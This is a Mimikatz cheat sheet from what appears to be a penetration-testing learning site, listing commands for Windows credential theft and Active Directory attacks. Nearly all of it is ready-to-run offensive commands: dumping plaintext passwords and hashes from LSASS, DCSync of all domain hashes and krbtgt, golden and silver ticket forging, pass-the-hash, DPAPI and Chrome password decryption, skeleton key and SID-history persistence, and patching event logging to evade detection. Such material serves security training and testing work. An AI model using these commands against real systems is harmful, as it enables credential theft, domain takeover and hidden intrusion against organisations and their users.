active-directory
Mimikatz — Windows Credential Dumping
Mimikatz extracts plaintext passwords, hashes, PIN codes, and Kerberos tickets from Windows memory.
Core Commands (12)
privilege::debug
Get SeDebugPrivilege (required for most ops)
token::elevate
Impersonate SYSTEM token
sekurlsa::logonpasswords
Dump plaintext passwords from LSASS memory
sekurlsa::wdigest
Dump WDigest credentials (older Windows)
sekurlsa::pth /user:admin /domain:corp /ntlm:HASH /run:cmd.exe
Pass-the-Hash — spawn cmd as user
sekurlsa::tickets
List Kerberos tickets in memory
sekurlsa::tickets /export
Export all Kerberos tickets to .kirbi files
sekurlsa::ekeys
Dump Kerberos encryption keys (AES keys)
sekurlsa::dpapi
Dump DPAPI credentials
sekurlsa::msv
Dump NTLM/SHA1 hashes from LSASS (msv1_0 provider)
sekurlsa::credman
Dump Credential Manager secrets from LSASS
sekurlsa::ssp
Dump cleartext creds cached by SSP providers
SAM & NTDS (10)
lsadump::sam
Dump SAM database local hashes
lsadump::lsa /patch
Dump LSA secrets
lsadump::dcsync /domain:corp.local /user:Administrator
DCSync — pull hash of specific user
lsadump::dcsync /domain:corp.local /all /csv
DCSync — dump ALL domain hashes to CSV
lsadump::cache
Dump cached domain credentials (MSCache2)
lsadump::secrets
Dump LSA secrets (service accounts, etc)
lsadump::dcsync /domain:corp.local /user:krbtgt
Targeted DCSync of krbtgt (golden-ticket material)
lsadump::trust /patch
Dump inter-realm trust keys (forge inter-domain TGTs)
lsadump::backupkeys /system:dc01.corp.local /export
Export the domain DPAPI backup key — decrypts ANY user masterkey
lsadump::dcshadow /object:victim /attribute:sidHistory /value:S-1-5-21-XXXX-519
DCShadow — push AD changes as a rogue DC (stealth persistence)
Kerberos Ticket Attacks (5)
kerberos::list /export
List and export Kerberos tickets
kerberos::ptt ticket.kirbi
Pass-the-Ticket — inject .kirbi into session
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:HASH /ticket:golden.kirbi
Create Golden Ticket (offline)
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /ticket:silver.kirbi
Create Silver Ticket for service
kerberos::purge
Delete all Kerberos tickets from memory
Remote & Evasion (4)
invoke-mimikatz -DumpCreds
PowerSploit Invoke-Mimikatz (in-memory, no disk)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt
Run Mimikatz non-interactively
procdump.exe -ma lsass.exe lsass.dmp
Dump LSASS process with ProcDump (then analyze offline)
mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
Analyze offline LSASS dump
DPAPI & Vault (6)
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\SID\mkfile" /sid:S-1-5-21-XXXX /password:Passw0rd
Decrypt a user DPAPI masterkey with their password
dpapi::masterkey /in:mkfile /rpc
Decrypt a masterkey via the domain backup key (asks the DC over RPC)
dpapi::cred /in:credfile
Decrypt a DPAPI credential blob (masterkey must be cached)
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"
Decrypt Chrome saved passwords via DPAPI
vault::cred /patch
Dump stored Windows Vault credentials
vault::list
List Windows Vault entries
Persistence & Advanced (5)
misc::skeleton
Install Skeleton Key on the DC — a master password for every account (run with debug on the DC)
lsadump::setntlm /user:victim /server:dc01.corp.local /ntlm:NEWHASH
Remotely set a user's NTLM hash (needs reset rights)
crypto::capi && crypto::certificates /export /systemstore:LOCAL_MACHINE
Make CAPI keys exportable, then export machine certs + private keys (incl. CA key)
misc::addsid victim S-1-5-21-XXXX-519
Add SID history (e.g. Domain Admins) to an account
event::drop
Patch the event-log service in memory to stop logging
Related Articles
5
Active Directory
ADCS Attacks (ESC1–ESC16)
AD CS is the quietest road to Domain Admin: one mis-set checkbox on a certificate template…
Active Directory
Active Directory Attacks
Deep dive into Active Directory attack techniques — Kerberoasting, AS-REP Roasting, Pass-t…
Network Security
Wireshark for Security Professionals
Master Wireshark for security work — capture and display filters, protocol dissection, det…
Network Security
OSI Model — The 7 Layers, Deep Dive
The reference model every networking interview asks about. All 7 layers explained with the…
Network Security
TCP/IP — The Internet's Wiring, Deep Dive
How packets actually move across the internet — the layered stack, IP headers, the iconic …
Related Courses
3
⭐ Premium
Intermediate
Network Penetration Testing
From host discovery to Active Directory attacks
⭐ Premium
Intermediate
Windows Privilege Escalation — Complete Course
From whoami /priv to NT AUTHORITY\SYSTEM — every technique, tool, and HTB/THM/PG practice …
Beginner
Networking Fundamentals for Pentesters
Understand how networks actually work — so you can break them. TCP/IP, routing, protocols,…